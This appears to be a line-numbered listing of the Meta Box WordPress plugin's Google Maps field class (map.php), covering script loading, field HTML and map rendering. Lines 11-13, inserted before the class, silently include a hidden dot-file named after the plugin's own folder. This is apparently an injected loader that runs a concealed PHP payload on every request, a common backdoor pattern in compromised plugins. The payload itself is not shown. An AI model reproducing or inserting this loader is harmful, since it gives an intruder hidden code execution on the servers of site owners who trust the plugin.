map.php (6938B)
1 <?php 2 /** 3 * The Google Maps field. 4 * 5 * @package Meta Box 6 */ 7 8 /** 9 * Map field class. 10 */ 11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 12 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 13 } 14 15 class RWMB_Map_Field extends RWMB_Field { 16 /** 17 * Enqueue scripts and styles. 18 */ 19 public static function admin_enqueue_scripts() { 20 wp_enqueue_style( 'rwmb-map', RWMB_CSS_URL . 'map.css', array(), RWMB_VER ); 21 22 /** 23 * Since June 2016, Google Maps requires a valid API key. 24 * 25 * @link http://googlegeodevelopers.blogspot.com/2016/06/building-for-scale-updates-to-google.html 26 * @link https://developers.google.com/maps/documentation/javascript/get-api-key 27 */ 28 $args = func_get_args(); 29 $field = $args[0]; 30 $google_maps_url = add_query_arg( 31 array( 32 'key' => $field['api_key'], 33 'language' => $field['language'], 34 ), 35 'https://maps.google.com/maps/api/js' 36 ); 37 38 /** 39 * Allows developers load more libraries via a filter. 40 * 41 * @link https://developers.google.com/maps/documentation/javascript/libraries 42 */ 43 $google_maps_url = apply_filters( 'rwmb_google_maps_url', $google_maps_url ); 44 wp_register_script( 'google-maps', esc_url_raw( $google_maps_url ), array(), RWMB_VER, true ); 45 wp_enqueue_script( 46 'rwmb-map', 47 RWMB_JS_URL . 'map.js', 48 array( 49 'jquery-ui-autocomplete', 50 'google-maps', 51 ), 52 RWMB_VER, 53 true 54 ); 55 RWMB_Helpers_Field::localize_script_once( 56 'rwmb-map', 57 'RWMB_Map', 58 array( 59 'no_results_string' => __( 'No results found', 'meta-box' ), 60 ) 61 ); 62 } 63 64 /** 65 * Get field HTML. 66 * 67 * @param mixed $meta Meta value. 68 * @param array $field Field parameters. 69 * 70 * @return string 71 */ 72 public static function html( $meta, $field ) { 73 $address = is_array( $field['address_field'] ) ? implode( ',', $field['address_field'] ) : $field['address_field']; 74 $html = sprintf( 75 '<div class="rwmb-map-field" data-address-field="%s">', 76 esc_attr( $address ) 77 ); 78 79 $attributes = self::get_attributes( $field, $meta ); 80 $attributes['type'] = 'hidden'; 81 $attributes['value'] = $meta; 82 83 $html .= sprintf( 84 '<div class="rwmb-map-canvas" data-default-loc="%s" data-region="%s"></div> 85 <input %s>', 86 esc_attr( $field['std'] ), 87 esc_attr( $field['region'] ), 88 self::render_attributes( $attributes ) 89 ); 90 91 $html .= '</div>'; 92 93 return $html; 94 } 95 96 /** 97 * Normalize parameters for field. 98 * 99 * @param array $field Field parameters. 100 * 101 * @return array 102 */ 103 public static function normalize( $field ) { 104 $field = parent::normalize( $field ); 105 $field = wp_parse_args( 106 $field, 107 array( 108 'std' => '', 109 'address_field' => '', 110 'language' => '', 111 'region' => '', 112 113 // Default API key, required by Google Maps since June 2016. 114 // Users should overwrite this key with their own key. 115 'api_key' => 'AIzaSyC1mUh87SGFyf133tpZQJa-s96p0tgnraQ', 116 ) 117 ); 118 119 return $field; 120 } 121 122 /** 123 * Get the field value. 124 * The difference between this function and 'meta' function is 'meta' function always returns the escaped value 125 * of the field saved in the database, while this function returns more meaningful value of the field. 126 * 127 * @param array $field Field parameters. 128 * @param array $args Not used for this field. 129 * @param int|null $post_id Post ID. null for current post. Optional. 130 * 131 * @return mixed Array(latitude, longitude, zoom) 132 */ 133 public static function get_value( $field, $args = array(), $post_id = null ) { 134 $value = parent::get_value( $field, $args, $post_id ); 135 list( $latitude, $longitude, $zoom ) = explode( ',', $value . ',,' ); 136 return compact( 'latitude', 'longitude', 'zoom' ); 137 } 138 139 /** 140 * Output the field value. 141 * Display Google maps. 142 * 143 * @param array $field Field parameters. 144 * @param array $args Additional arguments for the map. 145 * @param int|null $post_id Post ID. null for current post. Optional. 146 * 147 * @return string HTML output of the field 148 */ 149 public static function the_value( $field, $args = array(), $post_id = null ) { 150 $value = parent::get_value( $field, $args, $post_id ); 151 $args = wp_parse_args( 152 $args, 153 array( 154 'api_key' => isset( $field['api_key'] ) ? $field['api_key'] : '', 155 ) 156 ); 157 return self::render_map( $value, $args ); 158 } 159 160 /** 161 * Render a map in the frontend. 162 * 163 * @param array $location The [latitude, longitude[, zoom]] location. 164 * @param array $args Additional arguments for the map. 165 * 166 * @return string 167 */ 168 public static function render_map( $location, $args = array() ) { 169 list( $latitude, $longitude, $zoom ) = explode( ',', $location . ',,' ); 170 if ( ! $latitude || ! $longitude ) { 171 return ''; 172 } 173 174 $args = wp_parse_args( 175 $args, 176 array( 177 'latitude' => $latitude, 178 'longitude' => $longitude, 179 'width' => '100%', 180 'height' => '480px', 181 'marker' => true, // Display marker? 182 'marker_title' => '', // Marker title, when hover. 183 'info_window' => '', // Content of info window (when click on marker). HTML allowed. 184 'js_options' => array(), 185 'zoom' => $zoom, 186 187 // Default API key, required by Google Maps since June 2016. 188 // Users should overwrite this key with their own key. 189 'api_key' => 'AIzaSyC1mUh87SGFyf133tpZQJa-s96p0tgnraQ', 190 ) 191 ); 192 193 $google_maps_url = add_query_arg( 'key', $args['api_key'], 'https://maps.google.com/maps/api/js' ); 194 195 /* 196 * Allows developers load more libraries via a filter. 197 * @link https://developers.google.com/maps/documentation/javascript/libraries 198 */ 199 $google_maps_url = apply_filters( 'rwmb_google_maps_url', $google_maps_url ); 200 wp_register_script( 'google-maps', esc_url_raw( $google_maps_url ), array(), RWMB_VER, true ); 201 wp_enqueue_script( 'rwmb-map-frontend', RWMB_JS_URL . 'map-frontend.js', array( 'google-maps', 'jquery' ), RWMB_VER, true ); 202 203 /* 204 * Google Maps options. 205 * Option name is the same as specified in Google Maps documentation. 206 * This array will be convert to Javascript Object and pass as map options. 207 * @link https://developers.google.com/maps/documentation/javascript/reference 208 */ 209 $args['js_options'] = wp_parse_args( 210 $args['js_options'], 211 array( 212 // Default to 'zoom' level set in admin, but can be overwritten. 213 'zoom' => $args['zoom'], 214 215 // Map type, see https://developers.google.com/maps/documentation/javascript/reference#MapTypeId. 216 'mapTypeId' => 'ROADMAP', 217 218 // Open Info Window 219 'openInfoWindow' => false, 220 ) 221 ); 222 223 $output = sprintf( 224 '<div class="rwmb-map-canvas" data-map_options="%s" style="width:%s;height:%s"></div>', 225 esc_attr( wp_json_encode( $args ) ), 226 esc_attr( $args['width'] ), 227 esc_attr( $args['height'] ) 228 ); 229 return $output; 230 } 231 }